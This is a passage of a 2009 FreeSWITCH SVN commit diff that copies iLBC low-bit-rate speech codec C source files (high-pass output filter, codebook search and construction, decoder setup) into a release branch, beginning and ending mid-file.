+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: hpOutput.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+
+#include "constants.h"
+#include "hpOutput.h"
+
+/*----------------------------------------------------------------*
+ *  Output high-pass filter
+ *---------------------------------------------------------------*/
+
+void hpOutput(float *In,    /* (i) vector to filter */
+              int len,      /* (i) length of vector to filter */
+              float *Out,   /* (o) the resulting filtered vector */
+              float *mem)   /* (i/o) the filter state */
+{
+    int i;
+    float *pi;
+    float *po;
+
+    /* all-zero section*/
+    pi = &In[0];
+    po = &Out[0];
+    for (i = 0;  i < len;  i++)
+    {
+        *po = hpo_zero_coefsTbl[0]*(*pi);
+        *po += hpo_zero_coefsTbl[1]*mem[0];
+        *po += hpo_zero_coefsTbl[2]*mem[1];
+
+        mem[1] = mem[0];
+        mem[0] = *pi;
+        po++;
+        pi++;
+    }
+
+    /* all-pole section*/
+    po = &Out[0];
+    for (i = 0;  i < len;  i++)
+    {
+        *po -= hpo_pole_coefsTbl[1]*mem[2];
+        *po -= hpo_pole_coefsTbl[2]*mem[3];
+
+        mem[3] = mem[2];
+        mem[2] = *po;
+        po++;
+    }
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/hpOutput.h

Copied: freeswitch/branches/seven/libs/ilbc/src/hpOutput.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/hpOutput.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/hpOutput.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/hpOutput.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * hpOutput.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: hpOutput.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_HPOUTPUT_H
+#define __iLBC_HPOUTPUT_H
+
+void hpOutput(float *In,    /* (i) vector to filter */
+              int len,      /* (i) length of vector to filter */
+              float *Out,   /* (o) the resulting filtered vector */
+              float *mem);  /* (i/o) the filter state */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.c

Copied: freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/iCBConstruct.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,117 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iCBConstruct.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iCBConstruct.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+
+#include "ilbc.h"
+#include "gainquant.h"
+#include "getCBvec.h"
+#include "iCBConstruct.h"
+
+/*----------------------------------------------------------------*
+ *  Convert the codebook indexes to make the search easier
+ *---------------------------------------------------------------*/
+
+void index_conv_enc(int *index)     /* (i/o) Codebook indexes */
+{
+    int k;
+
+    for (k = 1;  k < CB_NSTAGES;  k++)
+    {
+        if ((index[k] >= 108)  &&  (index[k] < 172))
+        {
+            index[k] -= 64;
+        }
+        else if (index[k] >= 236)
+        {
+            index[k] -= 128;
+        }
+        else
+        {
+            /* ERROR */
+        }
+    }
+}
+
+void index_conv_dec(int *index)     /* (i/o) Codebook indexes */
+{
+    int k;
+
+    for (k = 1;  k < CB_NSTAGES;  k++)
+    {
+        if ((index[k] >= 44)  &&  (index[k] < 108))
+        {
+            index[k] += 64;
+        }
+        else if ((index[k] >= 108)  &&  (index[k] < 128))
+        {
+            index[k] += 128;
+        }
+        else
+        {
+            /* ERROR */
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  Construct decoded vector from codebook and gains.
+ *---------------------------------------------------------------*/
+
+void iCBConstruct(float *decvector, /* (o) Decoded vector */
+                  int *index,       /* (i) Codebook indices */
+                  int *gain_index,  /* (i) Gain quantization indices */
+                  float *mem,       /* (i) Buffer for codevector construction */
+                  int lMem,         /* (i) Length of buffer */
+                  int veclen,       /* (i) Length of vector */
+                  int nStages)      /* (i) Number of codebook stages */
+{
+    int j;
+    int k;
+    float gain[CB_NSTAGES];
+    float cbvec[SUBL];
+
+    /* Gain de-quantization */
+    gain[0] = gaindequant(gain_index[0], 1.0, 32);
+    if (nStages > 1)
+        gain[1] = gaindequant(gain_index[1], fabsf(gain[0]), 16);
+    if (nStages > 2)
+        gain[2] = gaindequant(gain_index[2], fabsf(gain[1]), 8);
+
+    /* Codebook vector construction and construction of total vector */
+    getCBvec(cbvec, mem, index[0], lMem, veclen);
+    for (j = 0;  j < veclen;  j++)
+        decvector[j] = gain[0]*cbvec[j];
+    if (nStages > 1)
+    {
+        for (k = 1;  k < nStages;  k++)
+        {
+            getCBvec(cbvec, mem, index[k], lMem, veclen);
+            for (j = 0;  j < veclen;  j++)
+                decvector[j] += gain[k]*cbvec[j];
+        }
+    }
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.h

Copied: freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/iCBConstruct.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iCBConstruct.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iCBConstruct.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iCBConstruct.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_ICBCONSTRUCT_H
+#define __iLBC_ICBCONSTRUCT_H
+
+void index_conv_enc(int *index);        /* (i/o) Codebook indexes */
+
+void index_conv_dec(int *index);        /* (i/o) Codebook indexes */
+
+void iCBConstruct(float *decvector,     /* (o) Decoded vector */
+                  int *index,           /* (i) Codebook indices */
+                  int *gain_index,      /* (i) Gain quantization indices */
+                  float *mem,           /* (i) Buffer for codevector construction */
+                  int lMem,             /* (i) Length of buffer */
+                  int veclen,           /* (i) Length of vector */
+                  int nStages);         /* (i) Number of codebook stages */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/iCBSearch.c

Copied: freeswitch/branches/seven/libs/ilbc/src/iCBSearch.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/iCBSearch.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iCBSearch.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iCBSearch.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,478 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iCBSearch.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iCBSearch.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "gainquant.h"
+#include "createCB.h"
+#include "filter.h"
+#include "constants.h"
+#include "iCBSearch.h"
+
+/*----------------------------------------------------------------*
+ *  Search routine for codebook encoding and gain quantization.
+ *---------------------------------------------------------------*/
+
+void iCBSearch(ilbc_encode_state_t *iLBCenc_inst,   /* (i) the encoder state structure */
+               int *index,          /* (o) Codebook indices */
+               int *gain_index,     /* (o) Gain quantization indices */
+               float *intarget,     /* (i) Target vector for encoding */
+               float *mem,          /* (i) Buffer for codebook construction */
+               int lMem,            /* (i) Length of buffer */
+               int lTarget,         /* (i) Length of vector */
+               int nStages,         /* (i) Number of codebook stages */
+               float *weightDenum,  /* (i) weighting filter coefficients */
+               float *weightState,  /* (i) weighting filter state */
+               int block)           /* (i) the sub-block number */
+{
+    int i;
+    int j;
+    int icount;
+    int stage;
+    int best_index;
+    int range;
+    int counter;
+    float max_measure;
+    float gain;
+    float measure;
+    float crossDot;
+    float ftmp;
+    float gains[CB_NSTAGES];
+    float target[SUBL];
+    int base_index;
+    int sInd;
+    int eInd;
+    int base_size;
+    int sIndAug = 0;
+    int eIndAug = 0;
+    float buf[CB_MEML + SUBL + 2*ILBC_LPC_FILTERORDER];
+    float invenergy[CB_EXPAND*128];
+    float energy[CB_EXPAND*128];
+    float *pp;
+    float *ppi = 0;
+    float *ppo = 0;
+    float *ppe = 0;
+    float cbvectors[CB_MEML];
+    float tene;
+    float cene;
+    float cvec[SUBL];
+    float aug_vec[SUBL];
+
+    memset(cvec, 0, SUBL*sizeof(float));
+
+    /* Determine size of codebook sections */
+    base_size = lMem - lTarget + 1;
+
+    if (lTarget == SUBL)
+        base_size = lMem - lTarget + 1 + lTarget/2;
+
+    /* setup buffer for weighting */
+    memcpy(buf, weightState, sizeof(float)*ILBC_LPC_FILTERORDER);
+    memcpy(buf + ILBC_LPC_FILTERORDER, mem, lMem*sizeof(float));
+    memcpy(buf + ILBC_LPC_FILTERORDER + lMem, intarget, lTarget*sizeof(float));
+
+    /* weighting */
+    AllPoleFilter(buf + ILBC_LPC_FILTERORDER, weightDenum, lMem + lTarget, ILBC_LPC_FILTERORDER);
+
+    /* Construct the codebook and target needed */
+    memcpy(target, buf + ILBC_LPC_FILTERORDER + lMem, lTarget*sizeof(float));
+
+    tene = 0.0f;
+    for (i = 0;  i < lTarget;  i++)
+        tene += target[i]*target[i];
+
+    /* Prepare search over one more codebook section. This section
+       is created by filtering the original buffer with a filter. */
+
+    filteredCBvecs(cbvectors, buf + ILBC_LPC_FILTERORDER, lMem);
+
+    /* The Main Loop over stages */
+    for (stage = 0;  stage < nStages;  stage++)
+    {
+        range = search_rangeTbl[block][stage];
+
+        /* initialize search measure */
+        max_measure = -10000000.0f;
+        gain = 0.0f;
+        best_index = 0;
+
+        /* Compute cross dot product between the target and the CB memory */
+
+        crossDot = 0.0f;
+        pp = buf + ILBC_LPC_FILTERORDER + lMem - lTarget;
+        for (j = 0;  j < lTarget;  j++)
+        {
+            crossDot += target[j]*(*pp++);
+        }
+
+        if (stage == 0)
+        {
+            /* Calculate energy in the first block of 'lTarget' samples. */
+            ppe = energy;
+            ppi = buf + ILBC_LPC_FILTERORDER + lMem - lTarget - 1;
+            ppo = buf + ILBC_LPC_FILTERORDER + lMem - 1;
+
+            *ppe = 0.0f;
+            pp = buf + ILBC_LPC_FILTERORDER + lMem - lTarget;
+            for (j = 0;  j < lTarget;  j++, pp++)
+                *ppe += (*pp)*(*pp);
+
+            if (*ppe > 0.0)
+            {
+                invenergy[0] = 1.0f/(*ppe + EPS);
+            }
+            else
+            {
+                invenergy[0] = 0.0f;
+            }
+            ppe++;
+
+            measure = -10000000.0f;
+
+            if (crossDot > 0.0f)
+                measure = crossDot*crossDot*invenergy[0];
+        }
+        else
+        {
+            measure = crossDot*crossDot*invenergy[0];
+        }
+
+        /* Check if measure is better */
+        ftmp = crossDot*invenergy[0];
+
+        if ((measure>max_measure)  &&  (fabs(ftmp) < CB_MAXGAIN))
+        {
+            best_index = 0;
+            max_measure = measure;
+            gain = ftmp;
+        }
+
+        /* loop over the main first codebook section, full search */
+        for (icount = 1;  icount < range;  icount++)
+        {
+            /* calculate measure */
+            crossDot = 0.0f;
+            pp = buf + ILBC_LPC_FILTERORDER + lMem - lTarget - icount;
+
+            for (j = 0;  j < lTarget;  j++)
+                crossDot += target[j]*(*pp++);
+
+            if (stage == 0)
+            {
+                *ppe++ = energy[icount-1] + (*ppi)*(*ppi) - (*ppo)*(*ppo);
+                ppo--;
+                ppi--;
+
+                if (energy[icount] > 0.0f)
+                {
+                    invenergy[icount] = 1.0f/(energy[icount] + EPS);
+                }
+                else
+                {
+                    invenergy[icount] = 0.0f;
+                }
+                measure = -10000000.0f;
+
+                if (crossDot > 0.0f)
+                    measure = crossDot*crossDot*invenergy[icount];
+            }
+            else
+            {
+                measure = crossDot*crossDot*invenergy[icount];
+            }
+
+            /* check if measure is better */
+            ftmp = crossDot*invenergy[icount];
+
+            if ((measure > max_measure)  &&  (fabs(ftmp) < CB_MAXGAIN))
+            {
+                best_index = icount;
+                max_measure = measure;
+                gain = ftmp;
+            }
+        }
+
+        /* Loop over augmented part in the first codebook
+         * section, full search.
+         * The vectors are interpolated.
+         */
+        if (lTarget == SUBL)
+        {
+            /* Search for best possible cb vector and compute the CB-vectors' energy. */
+            searchAugmentedCB(20, 39, stage, base_size - lTarget/2,
+                              target, buf + ILBC_LPC_FILTERORDER + lMem,
+                              &max_measure, &best_index, &gain, energy,
+                              invenergy);
+        }
+
+        /* set search range for following codebook sections */
+        base_index = best_index;
+
+        /* unrestricted search */
+        if (CB_RESRANGE == -1)
+        {
+            sInd = 0;
+            eInd = range - 1;
+            sIndAug = 20;
+            eIndAug = 39;
+        }
+        /* restricted search around best index from first codebook section */
+        else
+        {
+            /* Initialize search indices */
+            sIndAug = 0;
+            eIndAug = 0;
+            sInd = base_index - CB_RESRANGE/2;
+            eInd = sInd + CB_RESRANGE;
+
+            if (lTarget == SUBL)
+            {
+                if (sInd < 0)
+                {
+                    sIndAug = 40 + sInd;
+                    eIndAug = 39;
+                    sInd=0;
+                }
+                else if (base_index < (base_size - 20))
+                {
+                    if (eInd > range)
+                    {
+                        sInd -= (eInd-range);
+                        eInd = range;
+                    }
+                }
+                else
+                {
+                    /* base_index >= (base_size-20) */
+                    if (sInd < (base_size - 20))
+                    {
+                        sIndAug = 20;
+                        sInd = 0;
+                        eInd = 0;
+                        eIndAug = 19 + CB_RESRANGE;
+
+                        if (eIndAug > 39)
+                        {
+                            eInd = eIndAug - 39;
+                            eIndAug = 39;
+                        }
+                    }
+                    else
+                    {
+                        sIndAug = 20 + sInd - (base_size - 20);
+                        eIndAug = 39;
+                        sInd = 0;
+                        eInd = CB_RESRANGE - (eIndAug - sIndAug + 1);
+                    }
+                }
+
+            }
+            else
+            {
+                /* lTarget = 22 or 23 */
+                if (sInd < 0)
+                {
+                    eInd -= sInd;
+                    sInd = 0;
+                }
+
+                if (eInd > range)
+                {
+                    sInd -= (eInd - range);
+                    eInd = range;
+                }
+            }
+        }
+
+        /* search of higher codebook section */
+
+        /* index search range */
+        counter = sInd;
+        sInd += base_size;
+        eInd += base_size;
+
+
+        if (stage == 0)
+        {
+            ppe = energy+base_size;
+            *ppe = 0.0f;
+            pp = cbvectors + lMem - lTarget;
+            for (j = 0;  j < lTarget;  j++, pp++)
+                *ppe += (*pp)*(*pp);
+
+            ppi = cbvectors + lMem - 1 - lTarget;
+            ppo = cbvectors + lMem - 1;
+
+            for (j = 0;  j < (range - 1);  j++)
+            {
+                *(ppe+1) = *ppe + (*ppi)*(*ppi) - (*ppo)*(*ppo);
+                ppo--;
+                ppi--;
+                ppe++;
+            }
+        }
+
+        /* loop over search range */
+        for (icount = sInd;  icount < eInd;  icount++)
+        {
+            /* calculate measure */
+            crossDot = 0.0f;
+            pp = cbvectors + lMem - (counter++) - lTarget;
+
+            for (j = 0;  j < lTarget;  j++)
+                crossDot += target[j]*(*pp++);
+
+            if (energy[icount] > 0.0f)
+                invenergy[icount] = 1.0f/(energy[icount] + EPS);
+            else
+                invenergy[icount] = 0.0f;
+
+            if (stage == 0)
+            {
+
+                measure = -10000000.0f;
+
+                if (crossDot > 0.0f)
+                    measure = crossDot*crossDot*invenergy[icount];
+            }
+            else
+            {
+                measure = crossDot*crossDot*invenergy[icount];
+            }
+
+            /* check if measure is better */
+            ftmp = crossDot*invenergy[icount];
+
+            if ((measure > max_measure)  &&  (fabs(ftmp) < CB_MAXGAIN))
+            {
+                best_index = icount;
+                max_measure = measure;
+                gain = ftmp;
+            }
+        }
+
+        /* Search the augmented CB inside the limited range. */
+        if ((lTarget == SUBL)  &&  (sIndAug != 0))
+        {
+            searchAugmentedCB(sIndAug, eIndAug, stage,
+                              2*base_size-20, target, cbvectors + lMem,
+                              &max_measure, &best_index, &gain, energy,
+                              invenergy);
+        }
+
+        /* record best index */
+        index[stage] = best_index;
+
+        /* gain quantization */
+        if (stage == 0)
+        {
+            if (gain < 0.0f)
+                gain = 0.0f;
+
+            if (gain > CB_MAXGAIN)
+                gain = (float) CB_MAXGAIN;
+            gain = gainquant(gain, 1.0, 32, &gain_index[stage]);
+        }
+        else
+        {
+            if (stage == 1)
+                gain = gainquant(gain, fabsf(gains[stage - 1]), 16, &gain_index[stage]);
+            else
+                gain = gainquant(gain, fabsf(gains[stage - 1]), 8, &gain_index[stage]);
+        }
+
+        /* Extract the best (according to measure) codebook vector */
+        if (lTarget == (STATE_LEN - iLBCenc_inst->state_short_len))
+        {
+            if (index[stage] < base_size)
+                pp = buf + ILBC_LPC_FILTERORDER + lMem - lTarget - index[stage];
+            else
+                pp = cbvectors + lMem - lTarget - index[stage] + base_size;
+        }
+        else
+        {
+            if (index[stage] < base_size)
+            {
+                if (index[stage] < (base_size - 20))
+                {
+                    pp = buf + ILBC_LPC_FILTERORDER + lMem - lTarget - index[stage];
+                }
+                else
+                {
+                    createAugmentedVec(index[stage] - base_size + 40,
+                                       buf + ILBC_LPC_FILTERORDER + lMem,
+                                       aug_vec);
+                    pp = aug_vec;
+                }
+            }
+            else
+            {
+                int filterno, position;
+
+                filterno = index[stage]/base_size;
+                position = index[stage] - filterno*base_size;
+                if (position < (base_size - 20))
+                {
+                    pp = cbvectors + filterno*lMem - lTarget - index[stage] + filterno*base_size;
+                }
+                else
+                {
+                    createAugmentedVec(index[stage] - (filterno + 1)*base_size + 40,
+                                       cbvectors + filterno*lMem,
+                                       aug_vec);
+                    pp = aug_vec;
+                }
+            }
+        }
+
+        /* Subtract the best codebook vector, according to measure, from the target vector */
+        for (j = 0;  j < lTarget;  j++)
+        {
+            cvec[j] += gain*(*pp);
+            target[j] -= gain*(*pp++);
+        }
+
+        /* record quantized gain */
+        gains[stage] = gain;
+    }
+
+    /* Gain adjustment for energy matching */
+    cene = 0.0f;
+    for (i = 0;  i < lTarget;  i++)
+        cene += cvec[i]*cvec[i];
+    j = gain_index[0];
+
+    for (i = gain_index[0];  i < 32;  i++)
+    {
+        ftmp = cene*gain_sq5Tbl[i]*gain_sq5Tbl[i];
+
+        if ((ftmp < (tene*gains[0]*gains[0]))  &&  (gain_sq5Tbl[j] < (2.0*gains[0])))
+            j = i;
+    }
+    gain_index[0] = j;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/iCBSearch.h

Copied: freeswitch/branches/seven/libs/ilbc/src/iCBSearch.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/iCBSearch.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iCBSearch.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iCBSearch.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iCBSearch.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iCBSearch.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_ICBSEARCH_H
+#define __iLBC_ICBSEARCH_H
+
+void iCBSearch(ilbc_encode_state_t *iLBCenc_inst,   /* (i) the encoder state structure */
+               int *index,                          /* (o) Codebook indices */
+               int *gain_index,                     /* (o) Gain quantization indices */
+               float *intarget,                     /* (i) Target vector for encoding */
+               float *mem,                          /* (i) Buffer for codebook construction */
+               int lMem,                            /* (i) Length of buffer */
+               int lTarget,                         /* (i) Length of vector */
+               int nStages,                         /* (i) Number of codebook stages */
+               float *weightDenum,                  /* (i) weighting filter coefficients */
+               float *weightState,                  /* (i) weighting filter state */
+               int block);                          /* (i) the sub-block number */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/iLBC_decode.c

Copied: freeswitch/branches/seven/libs/ilbc/src/iLBC_decode.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/iLBC_decode.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/iLBC_decode.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/iLBC_decode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,647 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * iLBC_decode.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: iLBC_decode.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <stdlib.h>
+
+#include "ilbc.h"
+#include "StateConstructW.h"
+#include "LPCdecode.h"
+#include "iCBConstruct.h"
+#include "doCPLC.h"
+#include "helpfun.h"
+#include "constants.h"
+#include "packing.h"
+#include "string.h"
+#include "enhancer.h"
+#include "hpOutput.h"
+#include "syntFilter.h"
+
+#if (defined(WIN32)  ||  defined(_WIN32)) && !defined(_WIN64)
+    __inline long int rint(double dbl)
+    {
+        _asm 
+    	{
+            fld dbl
+            frndint
+        }
+    }
+#elif defined (_WIN64)
+#include <intrin.h>
+    __inline__ long int rint(double x)
+    {
+#ifdef _M_X64
+		return (long int)_mm_cvtsd_si64x( _mm_loadu_pd ((const double*)&x) );
+#else
+#warning "Not Supported: Replacing with a simple C cast."
+	return (long int) (x);
+#endif
+    }
+#endif
+
+/*----------------------------------------------------------------*
+ *  Initiation of decoder instance.
+ *---------------------------------------------------------------*/
+
+ilbc_decode_state_t *ilbc_decode_init(ilbc_decode_state_t *iLBCdec_inst,   /* (i/o) Decoder instance */
+                                      int mode,                            /* (i) frame size mode */
+                                      int use_enhancer)                    /* (i) 1 to use enhancer
+                                                                                  0 to run without enhancer */
+{
+    int i;
+
+    iLBCdec_inst->mode = mode;
+
+    if (mode == 30)
+    {
+        iLBCdec_inst->blockl = ILBC_BLOCK_LEN_30MS;
+        iLBCdec_inst->nsub = NSUB_30MS;
+        iLBCdec_inst->nasub = NASUB_30MS;
+        iLBCdec_inst->lpc_n = LPC_N_30MS;
+        iLBCdec_inst->no_of_bytes = ILBC_NO_OF_BYTES_30MS;
+        iLBCdec_inst->state_short_len = STATE_SHORT_LEN_30MS;
+        /* ULP init */
+        iLBCdec_inst->ULP_inst = &ULP_30msTbl;
+    }
+    else if (mode == 20)
+    {
+        iLBCdec_inst->blockl = ILBC_BLOCK_LEN_20MS;
+        iLBCdec_inst->nsub = NSUB_20MS;
+        iLBCdec_inst->nasub = NASUB_20MS;
+        iLBCdec_inst->lpc_n = LPC_N_20MS;
+        iLBCdec_inst->no_of_bytes = ILBC_NO_OF_BYTES_20MS;
+        iLBCdec_inst->state_short_len = STATE_SHORT_LEN_20MS;
+        /* ULP init */
+        iLBCdec_inst->ULP_inst = &ULP_20msTbl;
+    }
+    else
+    {
+        return NULL;
+    }
+
+    memset(iLBCdec_inst->syntMem, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    memcpy((*iLBCdec_inst).lsfdeqold, lsfmeanTbl, ILBC_LPC_FILTERORDER*sizeof(float));
+
+    memset(iLBCdec_inst->old_syntdenum,
+           0,
+           ((ILBC_LPC_FILTERORDER + 1)*ILBC_NUM_SUB_MAX)*sizeof(float));
+    for (i = 0;  i < ILBC_NUM_SUB_MAX;  i++)
+        iLBCdec_inst->old_syntdenum[i*(ILBC_LPC_FILTERORDER + 1)] = 1.0f;
+
+    iLBCdec_inst->last_lag = 20;
+
+    iLBCdec_inst->prevLag = 120;
+    iLBCdec_inst->per = 0.0;
+    iLBCdec_inst->consPLICount = 0;
+    iLBCdec_inst->prevPLI = 0;
+    iLBCdec_inst->prevLpc[0] = 1.0f;
+    memset(iLBCdec_inst->prevLpc + 1, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    memset(iLBCdec_inst->prevResidual, 0, ILBC_BLOCK_LEN_MAX*sizeof(float));
+    iLBCdec_inst->seed = 777;
+    memset(iLBCdec_inst->hpomem, 0, 4*sizeof(float));
+
+    iLBCdec_inst->use_enhancer = use_enhancer;
+    memset(iLBCdec_inst->enh_buf, 0, ENH_BUFL*sizeof(float));
+    for (i = 0;  i < ENH_NBLOCKS_TOT;  i++)
+        iLBCdec_inst->enh_period[i] = 40.0f;
+
+    iLBCdec_inst->prev_enh_pl = 0;
+
+    return iLBCdec_inst;
+}
+
+/*----------------------------------------------------------------*
+ *  frame residual decoder function (subrutine to iLBC_decode)
+ *---------------------------------------------------------------*/
+
+static void Decode(ilbc_decode_state_t *iLBCdec_inst,  /* (i/o) the decoder state structure */
+                   float *decresidual,                 /* (o) decoded residual frame */
+                   int start,                          /* (i) location of start state */
+                   int idxForMax,                      /* (i) codebook index for the maximum value */
+                   int *idxVec,                        /* (i) codebook indexes for the samples in the
+                                                              start state */
+                   float *syntdenum,                   /* (i) the decoded synthesis filter coefficients */
+                   int *cb_index,                      /* (i) the indexes for the adaptive codebook */
+                   int *gain_index,                    /* (i) the indexes for the corresponding gains */
+                   int *extra_cb_index,                /* (i) the indexes for the adaptive codebook part
+                                                              of start state */
+                   int *extra_gain_index,              /* (i) the indexes for the corresponding gains */
+                   int state_first)                    /* (i) 1 if non adaptive part of start state comes
+                                                              first. 0 if that part comes last */
+{
+    float reverseDecresidual[ILBC_BLOCK_LEN_MAX];
+    float mem[CB_MEML];
+    int k;
+    int meml_gotten;
+    int Nfor;
+    int Nback;
+    int i;
+    int diff;
+    int start_pos;
+    int subcount;
+    int subframe;
+
+    diff = STATE_LEN - iLBCdec_inst->state_short_len;
+
+    if (state_first == 1)
+        start_pos = (start - 1)*SUBL;
+    else
+        start_pos = (start - 1)*SUBL + diff;
+
+    /* decode scalar part of start state */
+    StateConstructW(idxForMax,
+                    idxVec,
+                    &syntdenum[(start - 1)*(ILBC_LPC_FILTERORDER + 1)],
+                    &decresidual[start_pos],
+                    iLBCdec_inst->state_short_len);
+
+    if (state_first)
+    {
+        /* put adaptive part in the end */
+
+        /* setup memory */
+        memset(mem, 0, (CB_MEML - iLBCdec_inst->state_short_len)*sizeof(float));
+        memcpy(mem + CB_MEML - iLBCdec_inst->state_short_len,
+               decresidual + start_pos,
+               iLBCdec_inst->state_short_len*sizeof(float));
+
+        /* construct decoded vector */
+        iCBConstruct(&decresidual[start_pos+iLBCdec_inst->state_short_len],
+                     extra_cb_index, extra_gain_index, mem+CB_MEML-stMemLTbl,
+                     stMemLTbl,
+                     diff,
+                     CB_NSTAGES);
+    }
+    else
+    {
+        /* Put adaptive part in the beginning */
+
+        /* Create reversed vectors for prediction */
+        for (k = 0;  k < diff;  k++)
+        {
+            reverseDecresidual[k] =
+                decresidual[(start + 1)*SUBL - 1 - (k + iLBCdec_inst->state_short_len)];
+        }
+
+        /* Setup memory */
